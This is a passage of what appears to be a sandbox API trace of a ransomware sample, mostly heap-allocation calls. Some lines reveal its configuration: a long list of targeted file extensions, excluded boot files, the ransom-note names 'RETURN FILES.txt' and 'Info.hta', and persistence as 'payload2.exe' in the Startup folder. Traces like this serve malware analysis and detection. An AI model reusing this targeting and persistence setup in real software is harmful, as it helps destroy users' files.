RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3229d0 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3229e8 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322a00 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x322a18 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322a30 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322a48 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322a60 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322a78 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322a90 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322aa8 [0264.529] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322ac0 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322b00 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321fa0 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322b18 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322b30 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322b48 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322b60 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322b78 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322b90 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322ba8 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322bc0 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322bd8 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x322bf0 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322c08 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x322c20 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322c38 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322c50 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322c68 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322c80 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322c98 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x322cb0 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322cc8 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322ce0 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322cf8 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322d10 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322d28 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322d40 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322d58 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322d70 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322d88 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322da0 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322db8 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322dd0 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322de8 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322e00 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322e18 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322e30 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322e48 [0264.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x322e60 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x12) returned 0x2da1c0 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322e78 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322e90 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322ea8 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x322ec0 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2fef00 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2fef18 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2fef30 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2fef48 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2fef60 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2fef78 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2fef90 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2fefa8 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2fefc0 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2fefd8 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2feff0 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff008 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff020 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff038 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff050 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff068 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ff080 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ff098 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ff0b0 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2ff0c8 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ff0e0 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321fb0 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff0f8 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321fc0 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff110 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff128 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff140 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ff158 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ff170 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff188 [0264.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ff1a0 [0264.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff1b8 [0264.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff1d0 [0264.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ff1e8 [0264.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff200 [0264.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ff218 [0264.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2ff230 [0264.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff248 [0264.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x321fd0 [0264.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff260 [0264.532] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2ff278 [0264.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dda28, Size=0x800) returned 0x2ff6e8 [0264.532] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0264.532] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x320ee0 | out: hHeap=0x2a0000) returned 1 [0264.532] lstrlenW (lpString="") returned 0 [0264.532] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x300040 | out: hHeap=0x2a0000) returned 1 [0264.532] lstrlenW (lpString=".html") returned 5 [0264.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d94d0, Size=0x8) returned 0x2d94d0 [0264.532] lstrlenW (lpString=".html") returned 5 [0264.532] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x300040 | out: hHeap=0x2a0000) returned 1 [0264.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x300070, Size=0x20) returned 0x2b4620 [0264.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b4620, Size=0x40) returned 0x2dacd8 [0264.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dacd8, Size=0x80) returned 0x31eef8 [0264.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322040, Size=0x8) returned 0x322050 [0264.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322050, Size=0x10) returned 0x300070 [0264.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x300070, Size=0x20) returned 0x2b45f8 [0264.532] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0264.532] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31eef8 | out: hHeap=0x2a0000) returned 1 [0264.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3000a0, Size=0x20) returned 0x2d9b78 [0264.532] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9b78, Size=0x40) returned 0x2dacd8 [0264.533] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0264.533] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0264.533] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2dacd8 | out: hHeap=0x2a0000) returned 1 [0264.533] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3000a0, Size=0x20) returned 0x2d9b78 [0264.533] lstrlenW (lpString="Info.hta") returned 8 [0264.533] lstrlenW (lpString="Info.hta") returned 8 [0264.533] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9b78 | out: hHeap=0x2a0000) returned 1 [0264.533] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3002f0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe")) returned 0x68 [0264.533] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3002f0 | out: hHeap=0x2a0000) returned 1 [0264.533] lstrlenW (lpString="payload2.exe") returned 12 [0264.533] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b45f8, Size=0x40) returned 0x2dacd8 [0264.533] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3000a0, Size=0x20) returned 0x2b45f8 [0264.533] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3000a0, Size=0x20) returned 0x2d9bc8 [0264.533] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9bc8, Size=0x40) returned 0x2dad20 [0264.533] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dad20, Size=0x80) returned 0x31eef8 [0264.533] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x320ee0 [0264.534] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0264.534] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x320ee0 | out: hHeap=0x2a0000) returned 1 [0264.534] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x3002f0, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0264.534] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x322ee8 | out: hHeap=0x2a0000) returned 1 [0264.534] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3002f0 | out: hHeap=0x2a0000) returned 1 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322050, Size=0x8) returned 0x322040 [0264.534] lstrlenW (lpString="%windir%;") returned 9 [0264.534] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b45f8 | out: hHeap=0x2a0000) returned 1 [0264.534] lstrlenW (lpString="C:\\Windows;") returned 11 [0264.534] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2eeee0 | out: hHeap=0x2a0000) returned 1 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3000b8, Size=0x20) returned 0x2b45f8 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2b45f8, Size=0x40) returned 0x2dad20 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dad20, Size=0x80) returned 0x31eef8 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x320ee0 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322080, Size=0x8) returned 0x322090 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322090, Size=0x10) returned 0x300100 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x300100, Size=0x20) returned 0x2b45f8 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322050, Size=0x8) returned 0x322090 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322060, Size=0x8) returned 0x322050 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322080, Size=0x8) returned 0x3220a0 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3220a0, Size=0x10) returned 0x3001a8 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3001a8, Size=0x20) returned 0x2d9bc8 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322090, Size=0x10) returned 0x3001a8 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322050, Size=0x10) returned 0x3001d8 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322090, Size=0x8) returned 0x322080 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3220b0, Size=0x8) returned 0x3220c0 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3001a8, Size=0x20) returned 0x2d9ad8 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3001d8, Size=0x20) returned 0x2d9bf0 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3220d0, Size=0x8) returned 0x3220e0 [0264.534] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0264.534] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x320ee0 | out: hHeap=0x2a0000) returned 1 [0264.534] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x300250, Size=0x20) returned 0x2d9c18 [0264.535] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x2eeee0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0264.535] lstrlenW (lpString="C:\\") returned 3 [0264.535] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0264.535] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2eeee0 | out: hHeap=0x2a0000) returned 1 [0264.535] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322110, Size=0x82) returned 0x321370 [0264.535] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x322130, Size=0x100) returned 0x321400 [0264.535] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x321370, Size=0x104) returned 0x321628 [0264.535] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x321400, Size=0x200) returned 0x321738 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x322120 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x321738 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x320fa0 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31f090 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3002b0 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31f118 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x320f88 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x321628 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3002c8 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x321508 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x320fb8 | out: hHeap=0x2a0000) returned 1 [0264.536] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x321598 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x320fd0 | out: hHeap=0x2a0000) returned 1 [0264.537] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3002c8, Size=0x20) returned 0x2d9c40 [0264.537] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9c40, Size=0x40) returned 0x2dad20 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3220f0 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x300250 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x320ee0 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x300280 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31f008 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x300268 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x322100 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x300298 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d95c0 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2da2a0 | out: hHeap=0x2a0000) returned 1 [0264.537] lstrlenW (lpString="%systemdrive%") returned 13 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d9c18 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x31eef8 | out: hHeap=0x2a0000) returned 1 [0264.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x3220d0 | out: hHeap=0x2a0000) returned 1 [0264.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x2deec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10014) returned 0x322ee8 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x300298 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x300298, Size=0x20) returned 0x2d9c40 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d9c40, Size=0x40) returned 0x2dad68 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2dad68, Size=0x80) returned 0x31eef8 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x31eef8, Size=0x100) returned 0x321370 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x321370, Size=0x200) returned 0x321370 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x321370, Size=0x400) returned 0x321370 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x321370, Size=0x800) returned 0x321370 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x321370, Size=0x1000) returned 0x332f08 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x3002f0 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x300298 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x300268 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x3220d0 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x300280 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4) returned 0x322100 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x300250 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3220d0, Size=0x8) returned 0x3220f0 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x3002b0 [0264.538] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x3220f0, Size=0x10) returned 0x320f88 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x320fa0 [0264.538] RtlAllocateHeap (HeapHandle=0x2a0000, 